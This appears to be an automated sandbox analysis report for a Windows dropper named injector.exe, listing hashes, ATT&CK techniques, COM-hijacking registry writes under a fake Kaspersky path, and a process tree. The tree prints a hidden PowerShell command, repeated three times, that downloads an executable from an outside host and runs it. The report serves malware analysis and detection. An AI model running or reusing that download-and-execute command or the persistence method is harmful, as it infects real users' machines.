10bd09e2ce00e36dd5e01eb3c9ea8cf1ded95c8f3910de167b2bae8d03716181

Analysis

max time kernel
149s
max time network
93s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 22:22

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General

Target
injector.exe
Size 77KB
Sample260415-2ablwsa15l
SHA256 10bd09e2ce00e36dd5e01eb3c9ea8cf1ded95c8f3910de167b2bae8d03716181
MD5 9d82e8cae9663c548630d3500ef1611d
SHA1 aca0c6331880e936ee12b015ff2e3228803f8d34
SHA512 4c699af9a9570523b8ca729134cf4a5074aa0b2f0371eab451acb57288a2664e2be74b97b2c8cf4925773148fe62be6890e9ad8aad717ed9099f5ff494ac706a
SSDEEP 1536:hglY8IPLr2XoPf6v3vmO19bplRxyualtxKNFf:J8In2Xo6v/mOPbplGltOZ
TLSH
T19A733B57779904F8E0B5C379C9E35A46E7B3BC580B516BCF03A092260F663D0AE7A712
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1000	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1000	powershell.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 1 IoCs

pid	Process
1328	BK615578.exe

Loads dropped DLL 1 IoCs

pid	Process
1000	powershell.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Antivirus 21.3\office_antivirus.dll	injector.exe
File opened for modification	C:\Program Files (x86)\Kaspersky Lab	injector.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\ = "AMSI_ComAntivirus Class"	injector.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\Implemented Categories	injector.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\InprocServer32\ThreadingModel = "Both"	injector.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}	injector.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}	injector.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\InprocServer32\ = "C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Antivirus 21.3\\office_antivirus.dll"	injector.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\InprocServer32\ThreadingModel = "Apartment"	injector.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\Version	injector.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}	injector.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\InprocServer32	injector.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\InprocServer32\ = "C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Antivirus 21.3\\office_antivirus.dll"	injector.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\Version	injector.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\Version\ = "1.0"	injector.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\ = "OA_ComAntivirus Class"	injector.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\InprocServer32	injector.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\Version\ = "1.0"	injector.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1000	powershell.exe
1000	powershell.exe
1000	powershell.exe
1000	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 4352	2000	injector.exe	80
PID 4352 wrote to memory of 1904	4352	cmd.exe	81
PID 1904 wrote to memory of 1000	1904	cmd.exe	83
PID 1000 wrote to memory of 1328	1000	powershell.exe	84

C:\Users\Admin\AppData\Local\Temp\injector.exe
"C:\Users\Admin\AppData\Local\Temp\injector.exe"
1⤵
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK615578.exe; Start-Process -FilePath $env:TEMP\BK615578.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK615578.exe; Start-Process -FilePath $env:TEMP\BK615578.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK615578.exe; Start-Process -FilePath $env:TEMP\BK615578.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1000
    - - C:\Users\Admin\AppData\Local\Temp\BK615578.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK615578.exe"
        5⤵
        Executes dropped EXE
        
        PID:1328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

office_antivirus.dll

Path C:\Program Files (x86)\Kaspersky Lab\Kaspersky Antivirus 21.3\office_antivirus.dll
Size 23KB
SHA256 4cc64ce68c8a72ddbf19c9529c978044718154659ce9ae0dc73ab1e8d6227e3b
MD5 7c55fdb6ef4998640f26d70eb81281aa
SHA1 197e83951692c23fdff29a256865468ac8e61051
SHA512 245f494d97c0b024587eaea4102ce868d2dd6c6322219faea1e2d18585321347de21ad4ebe33e3999b2dc792c20f3afa799557a455ae59523ea2e7eecf9c4413
SSDEEP 384:s4ZzQHvX1MshplRXvPKgGthUpH8DZvzZUhCm/Ct:s1PlM0plR/JGtup8lvzZxKs
TLSH
T1B0B27CC2BF5D04E2DAA14674CCE31907FCB7B6E417642AAF026095660ED73D2BF27429
MD5 SHA1 SHA512 SSDEEP TLSH

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BK615578.exe

Path C:\Users\Admin\AppData\Local\Temp\BK615578.exe
Size 276KB
SHA256 2f660620d2b7277ef3180f8429e35afa7884f1945b73662aa1a38ec3258ea4c3
MD5 1fe91af4eedac6208e1e2a1046962771
SHA1 4340beb5b7a15e9d1d8b1548f98454de49f0f958
SHA512 54a3fd8f9001d0ad240ec541274130c57eb4bea9c4bacb799daeab0fc587a29aa081e473c974b0bc94c575dde5bba6e8a146d92803fb61e9d337d622358f5df2
SSDEEP 3072:/COlajPxi/CVpWD+Xc1q1pgpmegV1w6DHz6J1jab6UdJPU:/3a3Vpasc1qfQmbV1X6JOTdJP
TLSH
T1F4548369EF48AC5AD8F7A8FB3C012A3ED0D0546787F179E684C2097D5A0889F17F6D90
MD5 SHA1 SHA512 SSDEEP TLSH

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__PSScriptPolicyTest_vppo5nkv.svx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vppo5nkv.svx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1000-1-0x000001AEDC300000-0x000001AEDC310000-memory.dmp

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memory/1000-2-0x000001AEDC300000-0x000001AEDC310000-memory.dmp

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memory/1000-11-0x000001AEDC140000-0x000001AEDC162000-memory.dmp

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memory/1000-12-0x000001AEDC300000-0x000001AEDC310000-memory.dmp

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memory/1000-24-0x000001AEC3B80000-0x000001AEC3B92000-memory.dmp

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memory/1000-23-0x000001AEC2210000-0x000001AEC221C000-memory.dmp

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